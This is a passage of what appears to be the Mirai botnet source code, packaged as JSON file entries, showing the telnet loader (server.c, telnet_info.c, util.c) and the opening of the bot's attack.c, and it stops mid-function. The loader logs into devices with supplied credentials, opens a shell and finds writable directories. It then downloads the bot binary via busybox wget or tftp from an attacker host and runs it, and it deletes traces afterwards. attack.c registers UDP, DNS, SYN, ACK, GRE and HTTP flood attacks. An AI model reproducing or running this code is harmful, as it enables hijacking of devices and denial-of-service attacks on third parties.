printf(\"Failed to parse telnet info: \\\"%s\\\" Format -> ip:port user:pass arch\\n\", strbuf);\n        else\n        {\n            if (srv == NULL)\n                printf(\"srv == NULL 2\\n\");\n\n            server_queue_telnet(srv, &info);\n            if (total++ % 1000 == 0)\n                sleep(1);\n        }\n\n        ATOMIC_INC(&srv->total_input);\n    }\n\n    printf(\"Hit end of input.\\n\");\n\n    while(ATOMIC_GET(&srv->curr_open) > 0)\n        sleep(1);\n\n    return 0;\n}\n\nstatic void *stats_thread(void *arg)\n{\n    uint32_t seconds = 0;\n\n    while (TRUE)\n    {\n#ifndef DEBUG\n        printf(\"%ds\\tProcessed: %d\\tConns: %d\\tLogins: %d\\tRan: %d\\tEchoes:%d Wgets: %d, TFTPs: %d\\n\",\n               seconds++, ATOMIC_GET(&srv->total_input), ATOMIC_GET(&srv->curr_open), ATOMIC_GET(&srv->total_logins), ATOMIC_GET(&srv->total_successes),\n               ATOMIC_GET(&srv->total_echoes), ATOMIC_GET(&srv->total_wgets), ATOMIC_GET(&srv->total_tftps));\n#endif\n        fflush(stdout);\n        sleep(1);\n    }\n}\n"
  },
  {
    "path": "loader/src/server.c",
    "content": "#define _GNU_SOURCE\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <pthread.h>\n#include <sys/epoll.h>\n#include <sys/socket.h>\n#include <arpa/inet.h>\n#include <string.h>\n#include <sched.h>\n#include <errno.h>\n#include \"headers/includes.h\"\n#include \"headers/server.h\"\n#include \"headers/telnet_info.h\"\n#include \"headers/connection.h\"\n#include \"headers/binary.h\"\n#include \"headers/util.h\"\n\nstruct server *server_create(uint8_t threads, uint8_t addr_len, ipv4_t *addrs, uint32_t max_open, char *wghip, port_t wghp, char *thip)\n{\n    struct server *srv = calloc(1, sizeof (struct server));\n    struct server_worker *workers = calloc(threads, sizeof (struct server_worker));\n    int i;\n\n    // Fill out the structure\n    srv->bind_addrs_len = addr_len;\n    srv->bind_addrs = addrs;\n    srv->max_open = max_open;\n    srv->wget_host_ip = wghip;\n    srv->wget_host_port = wghp;\n    srv->tftp_host_ip = thip;\n    srv->estab_conns = calloc(max_open * 2, sizeof (struct connection *));\n    srv->workers = calloc(threads, sizeof (struct server_worker));\n    srv->workers_len = threads;\n\n    if (srv->estab_conns == NULL)\n    {\n        printf(\"Failed to allocate establisted_connections array\\n\");\n        exit(0);\n    }\n\n    // Allocate locks internally\n    for (i = 0; i < max_open * 2; i++)\n    {\n        srv->estab_conns[i] = calloc(1, sizeof (struct connection));\n        if (srv->estab_conns[i] == NULL)\n        {\n            printf(\"Failed to allocate connection %d\\n\", i);\n            exit(-1);\n        }\n        pthread_mutex_init(&(srv->estab_conns[i]->lock), NULL);\n    }\n\n    // Create worker threads\n    for (i = 0; i < threads; i++)\n    {\n        struct server_worker *wrker = &srv->workers[i];\n\n        wrker->srv = srv;\n        wrker->thread_id = i;\n\n        if ((wrker->efd = epoll_create1(0)) == -1)\n        {\n            printf(\"Failed to initialize epoll context. Error code %d\\n\", errno);\n            free(srv->workers);\n            free(srv);\n            return NULL;\n        }\n\n        pthread_create(&wrker->thread, NULL, worker, wrker);\n    }\n\n    pthread_create(&srv->to_thrd, NULL, timeout_thread, srv);\n\n    return srv;\n}\n\nvoid server_destroy(struct server *srv)\n{\n    if (srv == NULL)\n        return;\n    if (srv->bind_addrs != NULL)\n        free(srv->bind_addrs);\n    if (srv->workers != NULL)\n        free(srv->workers);\n    free(srv);\n}\n\nvoid server_queue_telnet(struct server *srv, struct telnet_info *info)\n{\n    while (ATOMIC_GET(&srv->curr_open) >= srv->max_open)\n    {\n        sleep(1);\n    }\n    ATOMIC_INC(&srv->curr_open);\n\n    if (srv == NULL)\n        printf(\"srv == NULL 3\\n\");\n\n    server_telnet_probe(srv, info);\n}\n\nvoid server_telnet_probe(struct server *srv, struct telnet_info *info)\n{\n    int fd = util_socket_and_bind(srv);\n    struct sockaddr_in addr;\n    struct connection *conn;\n    struct epoll_event event;\n    int ret;\n    struct server_worker *wrker = &srv->workers[ATOMIC_INC(&srv->curr_worker_child) % srv->workers_len];\n\n    if (fd == -1)\n    {\n        if (time(NULL) % 10 == 0)\n        {\n            printf(\"Failed to open and bind socket\\n\");\n        }\n        ATOMIC_DEC(&srv->curr_open);\n        return;\n    }\n    while (fd >= (srv->max_open * 2))\n    {\n        printf(\"fd too big\\n\");\n        conn->fd = fd;\n#ifdef DEBUG\n        printf(\"Can't utilize socket because client buf is not large enough\\n\");\n#endif\n        connection_close(conn);\n        return;\n    }\n\n    if (srv == NULL)\n        printf(\"srv == NULL 4\\n\");\n\n    conn = srv->estab_conns[fd];\n    memcpy(&conn->info, info, sizeof (struct telnet_info));\n    conn->srv = srv;\n    conn->fd = fd;\n    connection_open(conn);\n\n    addr.sin_family = AF_INET;\n    addr.sin_addr.s_addr = info->addr;\n    addr.sin_port = info->port;\n    ret = connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in));\n    if (ret == -1 && errno != EINPROGRESS)\n    {\n        printf(\"got connect error\\n\");\n    }\n\n    event.data.fd = fd;\n    event.events = EPOLLOUT;\n    epoll_ctl(wrker->efd, EPOLL_CTL_ADD, fd, &event);\n}\n\nstatic void bind_core(int core)\n{\n    pthread_t tid = pthread_self();\n    cpu_set_t cpuset;\n    CPU_ZERO(&cpuset);\n    CPU_SET(core, &cpuset);\n    if (pthread_setaffinity_np(tid, sizeof (cpu_set_t), &cpuset) != 0)\n        printf(\"Failed to bind to core %d\\n\", core);\n}\n\nstatic void *worker(void *arg)\n{\n    struct server_worker *wrker = (struct server_worker *)arg;\n    struct epoll_event events[128];\n\n    bind_core(wrker->thread_id);\n\n    while (TRUE)\n    {\n        int i, n = epoll_wait(wrker->efd, events, 127, -1);\n\n        if (n == -1)\n            perror(\"epoll_wait\");\n\n        for (i = 0; i < n; i++)\n            handle_event(wrker, &events[i]);\n    }\n}\n\nstatic void handle_event(struct server_worker *wrker, struct epoll_event *ev)\n{\n    struct connection *conn = wrker->srv->estab_conns[ev->data.fd];\n\n    if (conn->fd == -1)\n    {\n        conn->fd = ev->data.fd;\n        connection_close(conn);\n        return;\n    }\n\n    if (conn->fd != ev->data.fd)\n    {\n        printf(\"yo socket mismatch\\n\");\n    }\n\n    // Check if there was an error\n    if (ev->events & EPOLLERR || ev->events & EPOLLHUP || ev->events & EPOLLRDHUP)\n    {\n#ifdef DEBUG\n        if (conn->open)\n            printf(\"[FD%d] Encountered an error and must shut down\\n\", ev->data.fd);\n#endif\n        connection_close(conn);\n        return;\n    }\n\n    // Are we ready to write?\n    if (conn->state_telnet == TELNET_CONNECTING && ev->events & EPOLLOUT)\n    {\n        struct epoll_event event;\n\n        int so_error = 0;\n        socklen_t len = sizeof(so_error);\n        getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &so_error, &len);\n        if (so_error)\n        {\n#ifdef DEBUG\n            printf(\"[FD%d] Connection refused\\n\", ev->data.fd);\n#endif\n            connection_close(conn);\n            return;\n        }\n\n#ifdef DEBUG\n        printf(\"[FD%d] Established connection\\n\", ev->data.fd);\n#endif\n        event.data.fd = conn->fd;\n        event.events = EPOLLIN | EPOLLET;\n        epoll_ctl(wrker->efd, EPOLL_CTL_MOD, conn->fd, &event);\n        conn->state_telnet = TELNET_READ_IACS;\n        conn->timeout = 30;\n    }\n\n    if (!conn->open)\n    {\n        printf(\"socket not open! conn->fd: %d, fd: %d, events: %08x, state: %08x\\n\", conn->fd, ev->data.fd, ev->events, conn->state_telnet);\n    }\n\n    // Is there data to read?\n    if (ev->events & EPOLLIN && conn->open)\n    {\n        int ret;\n\n        conn->last_recv = time(NULL);\n        while (TRUE)\n        {\n            ret = recv(conn->fd, conn->rdbuf + conn->rdbuf_pos, sizeof (conn->rdbuf) - conn->rdbuf_pos, MSG_NOSIGNAL);\n            if (ret <= 0)\n            {\n                if (errno != EAGAIN && errno != EWOULDBLOCK)\n                {\n#ifdef DEBUG\n                    if (conn->open)\n                        printf(\"[FD%d] Encountered error %d. Closing\\n\", ev->data.fd, errno);\n#endif\n                    connection_close(conn);\n                }\n                break;\n            }\n#ifdef DEBUG\n            printf(\"TELIN: %.*s\\n\", ret, conn->rdbuf + conn->rdbuf_pos);\n#endif\n            conn->rdbuf_pos += ret;\n            conn->last_recv = time(NULL);\n\n            if (conn->rdbuf_pos > 8196)\n\t\t\t{\n                printf(\"oversized buffer pointer!\\n\");\n\t\t\t\tabort();\n\t\t\t}\n\n            while (TRUE)\n            {\n                int consumed;\n\n                switch (conn->state_telnet)\n                {\n                    case TELNET_READ_IACS:\n                        consumed = connection_consume_iacs(conn);\n                        if (consumed)\n                            conn->state_telnet = TELNET_USER_PROMPT;\n                        break;\n                    case TELNET_USER_PROMPT:\n                        consumed = connection_consume_login_prompt(conn);\n                        if (consumed)\n                        {\n                            util_sockprintf(conn->fd, \"%s\", conn->info.user);\n                            strcpy(conn->output_buffer.data, \"\\r\\n\");\n                            conn->output_buffer.deadline = time(NULL) + 1;\n                            conn->state_telnet = TELNET_PASS_PROMPT;\n                        }\n                        break;\n                    case TELNET_PASS_PROMPT:\n                        consumed = connection_consume_password_prompt(conn);\n                        if (consumed)\n                        {\n                            util_sockprintf(conn->fd, \"%s\", conn->info.pass);\n                            strcpy(conn->output_buffer.data, \"\\r\\n\");\n                            conn->output_buffer.deadline = time(NULL) + 1;\n                            conn->state_telnet = TELNET_WAITPASS_PROMPT; // At the very least it will print SOMETHING\n                        }\n                        break;\n                    case TELNET_WAITPASS_PROMPT:\n                        if ((consumed = connection_consume_prompt(conn)) > 0)\n                        {\n                            util_sockprintf(conn->fd, \"enable\\r\\n\");\n                            util_sockprintf(conn->fd, \"shell\\r\\n\");\n                            util_sockprintf(conn->fd, \"sh\\r\\n\");\n                            conn->state_telnet = TELNET_CHECK_LOGIN;\n                        }\n                        break;\n                    case TELNET_CHECK_LOGIN:\n                        if ((consumed = connection_consume_prompt(conn)) > 0)\n                        {\n                            util_sockprintf(conn->fd, TOKEN_QUERY \"\\r\\n\");\n                            conn->state_telnet = TELNET_VERIFY_LOGIN;\n                        }\n                        break;\n                    case TELNET_VERIFY_LOGIN:\n                        consumed = connection_consume_verify_login(conn);\n                        if (consumed)\n                        {\n                            ATOMIC_INC(&wrker->srv->total_logins);\n#ifdef DEBUG\n                            printf(\"[FD%d] Succesfully logged in\\n\", ev->data.fd);\n#endif\n                            util_sockprintf(conn->fd, \"/bin/busybox ps; \" TOKEN_QUERY \"\\r\\n\");\n                            conn->state_telnet = TELNET_PARSE_PS;\n                        }\n                        break;\n                    case TELNET_PARSE_PS:\n                        if ((consumed = connection_consume_psoutput(conn)) > 0)\n                        {\n                            util_sockprintf(conn->fd, \"/bin/busybox cat /proc/mounts; \" TOKEN_QUERY \"\\r\\n\");\n                            conn->state_telnet = TELNET_PARSE_MOUNTS;\n                        }\n                        break;\n                    case TELNET_PARSE_MOUNTS:\n                        consumed = connection_consume_mounts(conn);\n                        if (consumed)\n                            conn->state_telnet = TELNET_READ_WRITEABLE;\n                        break;\n                    case TELNET_READ_WRITEABLE:\n                        consumed = connection_consume_written_dirs(conn);\n                        if (consumed)\n                        {\n#ifdef DEBUG\n                            printf(\"[FD%d] Found writeable directory: %s/\\n\", ev->data.fd, conn->info.writedir);\n#endif\n                            util_sockprintf(conn->fd, \"cd %s/\\r\\n\", conn->info.writedir, conn->info.writedir);\n                            util_sockprintf(conn->fd, \"/bin/busybox cp /bin/echo \" FN_BINARY \"; >\" FN_BINARY \"; /bin/busybox chmod 777 \" FN_BINARY \"; \" TOKEN_QUERY \"\\r\\n\");\n                            conn->state_telnet = TELNET_COPY_ECHO;\n                            conn->timeout = 120;\n                        }\n                        break;\n                    case TELNET_COPY_ECHO:\n                        consumed = connection_consume_copy_op(conn);\n                        if (consumed)\n                        {\n#ifdef DEBUG\n                            printf(\"[FD%d] Finished copying /bin/echo to cwd\\n\", conn->fd);\n#endif\n                            if (!conn->info.has_arch)\n                            {\n                                conn->state_telnet = TELNET_DETECT_ARCH;\n                                conn->timeout = 120;\n                                // DO NOT COMBINE THESE\n                                util_sockprintf(conn->fd, \"/bin/busybox cat /bin/echo\\r\\n\");\n                                util_sockprintf(conn->fd, TOKEN_QUERY \"\\r\\n\");\n                            }\n                            else\n                            {\n                                conn->state_telnet = TELNET_UPLOAD_METHODS;\n                                conn->timeout = 15;\n                                util_sockprintf(conn->fd, \"/bin/busybox wget; /bin/busybox tftp; \" TOKEN_QUERY \"\\r\\n\");\n                            }\n                        }\n                        break;\n                    case TELNET_DETECT_ARCH:\n                        consumed = connection_consume_arch(conn);\n                        if (consumed)\n                        {\n                            conn->timeout = 15;\n                            if ((conn->bin = binary_get_by_arch(conn->info.arch)) == NULL)\n                            {\n#ifdef DEBUG\n                                printf(\"[FD%d] Cannot determine architecture\\n\", conn->fd);\n#endif\n                                connection_close(conn);\n                            }\n                            else if (strcmp(conn->info.arch, \"arm\") == 0)\n                            {\n#ifdef DEBUG\n                                printf(\"[FD%d] Determining ARM sub-type\\n\", conn->fd);\n#endif\n                                util_sockprintf(conn->fd, \"cat /proc/cpuinfo; \" TOKEN_QUERY \"\\r\\n\");\n                                conn->state_telnet = TELNET_ARM_SUBTYPE;\n                            }\n                            else\n                            {\n#ifdef DEBUG\n                                printf(\"[FD%d] Detected architecture: '%s'\\n\", ev->data.fd, conn->info.arch);\n#endif\n                                util_sockprintf(conn->fd, \"/bin/busybox wget; /bin/busybox tftp; \" TOKEN_QUERY \"\\r\\n\");\n                                conn->state_telnet = TELNET_UPLOAD_METHODS;\n                            }\n                        }\n                        break;\n                    case TELNET_ARM_SUBTYPE:\n                        if ((consumed = connection_consume_arm_subtype(conn)) > 0)\n                        {\n                            struct binary *bin = binary_get_by_arch(conn->info.arch);\n\n                            if (bin == NULL)\n                            {\n#ifdef DEBUG\n                                printf(\"[FD%d] We do not have an ARMv7 binary, so we will try using default ARM\\n\", conn->fd);\n#endif\n                            }\n                            else\n                                conn->bin = bin;\n\n                            util_sockprintf(conn->fd, \"/bin/busybox wget; /bin/busybox tftp; \" TOKEN_QUERY \"\\r\\n\");\n                            conn->state_telnet = TELNET_UPLOAD_METHODS;\n                        }\n                        break;\n                    case TELNET_UPLOAD_METHODS:\n                        consumed = connection_consume_upload_methods(conn);\n\n                        if (consumed)\n                        {\n#ifdef DEBUG\n                            printf(\"[FD%d] Upload method is \", conn->fd);\n#endif\n                            switch (conn->info.upload_method)\n                            {\n                                case UPLOAD_ECHO:\n                                    conn->state_telnet = TELNET_UPLOAD_ECHO;\n                                    conn->timeout = 30;\n                                    util_sockprintf(conn->fd, \"/bin/busybox cp \"FN_BINARY \" \" FN_DROPPER \"; > \" FN_DROPPER \"; /bin/busybox chmod 777 \" FN_DROPPER \"; \" TOKEN_QUERY \"\\r\\n\");\n#ifdef DEBUG\n                                    printf(\"echo\\n\");\n#endif\n                                    break;\n                                case UPLOAD_WGET:\n                                    conn->state_telnet = TELNET_UPLOAD_WGET;\n                                    conn->timeout = 120;\n                                    util_sockprintf(conn->fd, \"/bin/busybox wget http://%s:%d/bins/%s.%s -O - > \"FN_BINARY \"; /bin/busybox chmod 777 \" FN_BINARY \"; \" TOKEN_QUERY \"\\r\\n\",\n                                                    wrker->srv->wget_host_ip, wrker->srv->wget_host_port, \"mirai\", conn->info.arch);\n#ifdef DEBUG\n                                    printf(\"wget\\n\");\n#endif\n                                    break;\n                                case UPLOAD_TFTP:\n                                    conn->state_telnet = TELNET_UPLOAD_TFTP;\n                                    conn->timeout = 120;\n                                    util_sockprintf(conn->fd, \"/bin/busybox tftp -g -l %s -r %s.%s %s; /bin/busybox chmod 777 \" FN_BINARY \"; \" TOKEN_QUERY \"\\r\\n\",\n                                                    FN_BINARY, \"mirai\", conn->info.arch, wrker->srv->tftp_host_ip);\n#ifdef DEBUG\n                                    printf(\"tftp\\n\");\n#endif\n                                    break;\n                            }\n                        }\n                        break;\n                    case TELNET_UPLOAD_ECHO:   \n                        consumed = connection_upload_echo(conn);\n                        if (consumed)\n                        {\n                            conn->state_telnet = TELNET_RUN_BINARY;\n                            conn->timeout = 30;\n#ifdef DEBUG\n                            printf(\"[FD%d] Finished echo loading!\\n\", conn->fd);\n#endif\n                            util_sockprintf(conn->fd, \"./%s; ./%s %s.%s; \" EXEC_QUERY \"\\r\\n\", FN_DROPPER, FN_BINARY, id_tag, conn->info.arch);\n                            ATOMIC_INC(&wrker->srv->total_echoes);\n                        }\n                        break;\n                    case TELNET_UPLOAD_WGET:\n                        consumed = connection_upload_wget(conn);\n                        if (consumed)\n                        {\n                            conn->state_telnet = TELNET_RUN_BINARY;\n                            conn->timeout = 30;\n#ifdef DEBUG\n                            printf(\"[FD%d] Finished wget loading\\n\", conn->fd);\n#endif\n                            util_sockprintf(conn->fd, \"./\" FN_BINARY \" %s.%s; \" EXEC_QUERY \"\\r\\n\", id_tag, conn->info.arch);\n                            ATOMIC_INC(&wrker->srv->total_wgets);\n                        }\n                        break;\n                    case TELNET_UPLOAD_TFTP:\n                        consumed = connection_upload_tftp(conn);\n                        if (consumed > 0)\n                        {\n                            conn->state_telnet = TELNET_RUN_BINARY;\n                            conn->timeout = 30;\n#ifdef DEBUG\n                            printf(\"[FD%d] Finished tftp loading\\n\", conn->fd);\n#endif\n                            util_sockprintf(conn->fd, \"./\" FN_BINARY \" %s.%s; \" EXEC_QUERY \"\\r\\n\", id_tag, conn->info.arch);\n                            ATOMIC_INC(&wrker->srv->total_tftps);\n                        }\n                        else if (consumed < -1) // Did not have permission to TFTP\n                        {\n#ifdef DEBUG\n                            printf(\"[FD%d] No permission to TFTP load, falling back to echo!\\n\", conn->fd);\n#endif\n                            consumed *= -1;\n                            conn->state_telnet = TELNET_UPLOAD_ECHO;\n                            conn->info.upload_method = UPLOAD_ECHO;\n\n                            conn->timeout = 30;\n                            util_sockprintf(conn->fd, \"/bin/busybox cp \"FN_BINARY \" \" FN_DROPPER \"; > \" FN_DROPPER \"; /bin/busybox chmod 777 \" FN_DROPPER \"; \" TOKEN_QUERY \"\\r\\n\");\n                        }\n                        break;\n                    case TELNET_RUN_BINARY:\n                        if ((consumed = connection_verify_payload(conn)) > 0)\n                        {\n                            if (consumed >= 255)\n                            {\n                                conn->success = TRUE;\n#ifdef DEBUG\n                                printf(\"[FD%d] Succesfully ran payload\\n\", conn->fd);\n#endif\n                                consumed -= 255;\n                            }\n                            else\n                            {\n#ifdef DEBUG\n                                printf(\"[FD%d] Failed to execute payload\\n\", conn->fd);\n#endif\n                                if (!conn->retry_bin && strncmp(conn->info.arch, \"arm\", 3) == 0)\n                                {\n                                    conn->echo_load_pos = 0;\n                                    strcpy(conn->info.arch, (conn->info.arch[3] == '\\0' ? \"arm7\" : \"arm\"));\n                                    conn->bin = binary_get_by_arch(conn->info.arch);\n                                    util_sockprintf(conn->fd, \"/bin/busybox wget; /bin/busybox tftp; \" TOKEN_QUERY \"\\r\\n\");\n                                    conn->state_telnet = TELNET_UPLOAD_METHODS;\n                                    conn->retry_bin = TRUE;\n                                    break;\n                                }\n                            }\n#ifndef DEBUG\n                            util_sockprintf(conn->fd, \"rm -rf \" FN_DROPPER \"; > \" FN_BINARY \"; \" TOKEN_QUERY \"\\r\\n\");\n#else\n                            util_sockprintf(conn->fd, TOKEN_QUERY \"\\r\\n\");\n#endif\n                            conn->state_telnet = TELNET_CLEANUP;\n                            conn->timeout = 10;\n                        }\n                        break;\n                    case TELNET_CLEANUP:\n                        if ((consumed = connection_consume_cleanup(conn)) > 0)\n                        {\n                            int tfd = conn->fd;\n\n                            connection_close(conn);\n#ifdef DEBUG\n                            printf(\"[FD%d] Cleaned up files\\n\", tfd);\n#endif\n                        }\n                    default:\n                        consumed = 0;\n                        break;\n                }\n\n                if (consumed == 0) // We didn't consume any data\n                    break;\n                else\n                {\n                    if (consumed > conn->rdbuf_pos)\n                    {\n                        consumed = conn->rdbuf_pos;\n                        //printf(\"consuming more then our position!\\n\");\n                        //abort();\n                    }\n                    conn->rdbuf_pos -= consumed;\n                    memmove(conn->rdbuf, conn->rdbuf + consumed, conn->rdbuf_pos);\n                    conn->rdbuf[conn->rdbuf_pos] = 0;\n                }\n\n                if (conn->rdbuf_pos > 8196)\n                {\n                    printf(\"oversized buffer! 2\\n\");\n                    abort();\n                }\n            }\n        }\n    }\n}\n\nstatic void *timeout_thread(void *arg)\n{\n    struct server *srv = (struct server *)arg;\n    int i, ct;\n\n    while (TRUE)\n    {\n        ct = time(NULL);\n\n        for (i = 0; i < (srv->max_open * 2); i++)\n        {\n            struct connection *conn = srv->estab_conns[i];\n\n            if (conn->open && conn->last_recv > 0 && ct - conn->last_recv > conn->timeout)\n            {\n#ifdef DEBUG\n                printf(\"[FD%d] Timed out\\n\", conn->fd);\n#endif\n                if (conn->state_telnet == TELNET_RUN_BINARY && !conn->ctrlc_retry && strncmp(conn->info.arch, \"arm\", 3) == 0)\n                {\n                    conn->last_recv = time(NULL);\n                    util_sockprintf(conn->fd, \"\\x03\\x1Akill %%1\\r\\nrm -rf \" FN_BINARY \" \" FN_DROPPER \"\\r\\n\");\n                    conn->ctrlc_retry = TRUE;\n\n                    conn->echo_load_pos = 0;\n                    strcpy(conn->info.arch, (conn->info.arch[3] == '\\0' ? \"arm7\" : \"arm\"));\n                    conn->bin = binary_get_by_arch(conn->info.arch);\n                    util_sockprintf(conn->fd, \"/bin/busybox wget; /bin/busybox tftp; \" TOKEN_QUERY \"\\r\\n\");\n                    conn->state_telnet = TELNET_UPLOAD_METHODS;\n                    conn->retry_bin = TRUE;\n                } else {\n                    connection_close(conn);\n                }\n            } else if (conn->open && conn->output_buffer.deadline != 0 && time(NULL) > conn->output_buffer.deadline)\n            {\n                conn->output_buffer.deadline = 0;\n                util_sockprintf(conn->fd, conn->output_buffer.data);\n            }\n        }\n\n        sleep(1);\n    }\n}\n\n"
  },
  {
    "path": "loader/src/telnet_info.c",
    "content": "#include <stdio.h>\n#include <stdint.h>\n#include <stdlib.h>\n#include <string.h>\n#include \"headers/includes.h\"\n#include \"headers/telnet_info.h\"\n\nstruct telnet_info *telnet_info_new(char *user, char *pass, char *arch, ipv4_t addr, port_t port, struct telnet_info *info)\n{\n    if (user != NULL)\n        strcpy(info->user, user);\n    if (pass != NULL)\n        strcpy(info->pass, pass);\n    if (arch != NULL)\n        strcpy(info->arch, arch);\n    info->addr = addr;\n    info->port = port;\n\n    info->has_auth = user != NULL || pass != NULL;\n    info->has_arch = arch != NULL;\n\n    return info;\n}\n\nstruct telnet_info *telnet_info_parse(char *str, struct telnet_info *out) // Format: ip:port user:pass arch\n{\n    char *conn, *auth, *arch;\n    char *addr_str, *port_str, *user = NULL, *pass = NULL;\n    ipv4_t addr;\n    port_t port;\n\n    if ((conn = strtok(str, \" \")) == NULL)\n        return NULL;\n    if ((auth = strtok(NULL, \" \")) == NULL)\n        return NULL;\n    arch = strtok(NULL, \" \"); // We don't care if we don't know the arch\n\n    if ((addr_str = strtok(conn, \":\")) == NULL)\n        return NULL;\n    if ((port_str = strtok(NULL, \":\")) == NULL)\n        return NULL;\n\n    if (strlen(auth) == 1)\n    {\n        if (auth[0] == ':')\n        {\n            user = \"\";\n            pass = \"\";\n        }\n        else if (auth[0] != '?')\n            return NULL;\n    }\n    else\n    {\n        user = strtok(auth, \":\");\n        pass = strtok(NULL, \":\");\n    }\n\n    addr = inet_addr(addr_str);\n    port = htons(atoi(port_str));\n\n    return telnet_info_new(user, pass, arch, addr, port, out);\n}\n"
  },
  {
    "path": "loader/src/util.c",
    "content": "#include <stdint.h>\n#include <sys/socket.h>\n#include <arpa/inet.h>\n#include <fcntl.h>\n#include <stdio.h>\n#include <string.h>\n#include <stdarg.h>\n#include \"headers/includes.h\"\n#include \"headers/util.h\"\n#include \"headers/server.h\"\n\nvoid hexDump (char *desc, void *addr, int len) {\n    int i;\n    unsigned char buff[17];\n    unsigned char *pc = (unsigned char*)addr;\n\n    // Output description if given.\n    if (desc != NULL)\n        printf (\"%s:\\n\", desc);\n\n    if (len == 0) {\n        printf(\"  ZERO LENGTH\\n\");\n        return;\n    }\n    if (len < 0) {\n        printf(\"  NEGATIVE LENGTH: %i\\n\",len);\n        return;\n    }\n\n    // Process every byte in the data.\n    for (i = 0; i < len; i++) {\n        // Multiple of 16 means new line (with line offset).\n\n        if ((i % 16) == 0) {\n            // Just don't print ASCII for the zeroth line.\n            if (i != 0)\n                printf (\"  %s\\n\", buff);\n\n            // Output the offset.\n            printf (\"  %04x \", i);\n        }\n\n        // Now the hex code for the specific character.\n        printf (\" %02x\", pc[i]);\n\n        // And store a printable ASCII character for later.\n        if ((pc[i] < 0x20) || (pc[i] > 0x7e))\n            buff[i % 16] = '.';\n        else\n            buff[i % 16] = pc[i];\n        buff[(i % 16) + 1] = '\\0';\n    }\n\n    // Pad out last line if not exactly 16 characters.\n    while ((i % 16) != 0) {\n        printf (\"   \");\n        i++;\n    }\n\n    // And print the final ASCII bit.\n    printf (\"  %s\\n\", buff);\n}\n\nint util_socket_and_bind(struct server *srv)\n{\n    struct sockaddr_in bind_addr;\n    int i, fd, start_addr;\n    BOOL bound = FALSE;\n\n    if ((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)\n        return -1;\n\n    bind_addr.sin_family = AF_INET;\n    bind_addr.sin_port = 0;\n\n    // Try to bind on the first available address\n    start_addr = rand() % srv->bind_addrs_len;\n    for (i = 0; i < srv->bind_addrs_len; i++)\n    {\n        bind_addr.sin_addr.s_addr = srv->bind_addrs[start_addr];\n        if (bind(fd, (struct sockaddr *)&bind_addr, sizeof (struct sockaddr_in)) == -1)\n        {\n            if (++start_addr == srv->bind_addrs_len)\n                start_addr = 0;\n        }\n        else\n        {\n            bound = TRUE;\n            break;\n        }\n    }\n    if (!bound)\n    {\n        close(fd);\n#ifdef DEBUG\n        printf(\"Failed to bind on any address\\n\");\n#endif\n        return -1;\n    }\n\n    // Set the socket in nonblocking mode\n    if (fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, 0) | O_NONBLOCK) == -1)\n    {\n#ifdef DEBUG\n        printf(\"Failed to set socket in nonblocking mode. This will have SERIOUS performance implications\\n\");\n#endif\n    }\n    return fd;\n}\n\nint util_memsearch(char *buf, int buf_len, char *mem, int mem_len)\n{\n    int i, matched = 0;\n\n    if (mem_len > buf_len)\n        return -1;\n\n    for (i = 0; i < buf_len; i++)\n    {\n        if (buf[i] == mem[matched])\n        {\n            if (++matched == mem_len)\n                return i + 1;\n        }\n        else\n            matched = 0;\n    }\n\n    return -1;\n}\n\nBOOL util_sockprintf(int fd, const char *fmt, ...)\n{\n    char buffer[BUFFER_SIZE + 2];\n    va_list args;\n    int len;\n\n    va_start(args, fmt);\n    len = vsnprintf(buffer, BUFFER_SIZE, fmt, args);\n    va_end(args);\n\n    if (len > 0)\n    {\n        if (len > BUFFER_SIZE)\n            len = BUFFER_SIZE;\n\n#ifdef DEBUG\n        hexDump(\"TELOUT\", buffer, len);\n#endif\n        if (send(fd, buffer, len, MSG_NOSIGNAL) != len)\n            return FALSE;\n    }\n\n    return TRUE;\n}\n\nchar *util_trim(char *str)\n{\n    char *end;\n\n    while(isspace(*str))\n        str++;\n\n    if(*str == 0)\n        return str;\n\n    end = str + strlen(str) - 1;\n    while(end > str && isspace(*end))\n        end--;\n\n    *(end+1) = 0;\n\n    return str;\n}\n"
  },
  {
    "path": "mirai/bot/attack.c",
    "content": "#define _GNU_SOURCE\n\n#ifdef DEBUG\n#include <stdio.h>\n#endif\n#include <stdlib.h>\n#include <unistd.h>\n#include <signal.h>\n#include <errno.h>\n\n#include \"includes.h\"\n#include \"attack.h\"\n#include \"rand.h\"\n#include \"util.h\"\n#include \"scanner.h\"\n\n\nuint8_t methods_len = 0;\nstruct attack_method **methods = NULL;\nint attack_ongoing[ATTACK_CONCURRENT_MAX] = {0};\n\nBOOL attack_init(void)\n{\n    int i;\n\n    add_attack(ATK_VEC_UDP, (ATTACK_FUNC)attack_udp_generic);\n    add_attack(ATK_VEC_VSE, (ATTACK_FUNC)attack_udp_vse);\n    add_attack(ATK_VEC_DNS, (ATTACK_FUNC)attack_udp_dns);\n\tadd_attack(ATK_VEC_UDP_PLAIN, (ATTACK_FUNC)attack_udp_plain);\n\n    add_attack(ATK_VEC_SYN, (ATTACK_FUNC)attack_tcp_syn);\n    add_attack(ATK_VEC_ACK, (ATTACK_FUNC)attack_tcp_ack);\n    add_attack(ATK_VEC_STOMP, (ATTACK_FUNC)attack_tcp_stomp);\n\n    add_attack(ATK_VEC_GREIP, (ATTACK_FUNC)attack_gre_ip);\n    add_attack(ATK_VEC_GREETH, (ATTACK_FUNC)attack_gre_eth);\n\n    //add_attack(ATK_VEC_PROXY, (ATTACK_FUNC)attack_app_proxy);\n    add_attack(ATK_VEC_HTTP, (ATTACK_FUNC)attack_app_http);\n\n    return TRUE;\n}\n\nvoid attack_kill_all(void)\n{\n    int i;\n\n#ifdef DEBUG\n    printf(\"[attack] Killing all ongoing attacks\\n\");\n#endif\n\n    for (i = 0; i < ATTACK_CONCURRENT_MAX; i++)\n    {\n        if (attack_ongoing[i] != 0)\n            kill(attack_ongoing[i], 9);\n        attack_ongoing[i] = 0;\n    }\n\n#ifdef MIRAI_TELNET\n    scanner_init();\n#endif\n}\n\nvoid attack_parse(char *buf, int len)\n{\n    int i;\n    uint32_t duration;\n    ATTACK_VECTOR vector;\n    uint8_t targs_len, opts_len;\n    struct attack_target *targs = NULL;\n    struct attack_option *opts = NULL;\n\n    // Read in attack duration uint32_t\n    if (len < sizeof (uint32_t))\n        goto cleanup;\n    duration = ntohl(*((uint32_t *)buf));\n    buf += sizeof (uint32_t);\n    len -= sizeof (uint32_t);\n\n    // Read in attack ID uint8_t\n    if (len == 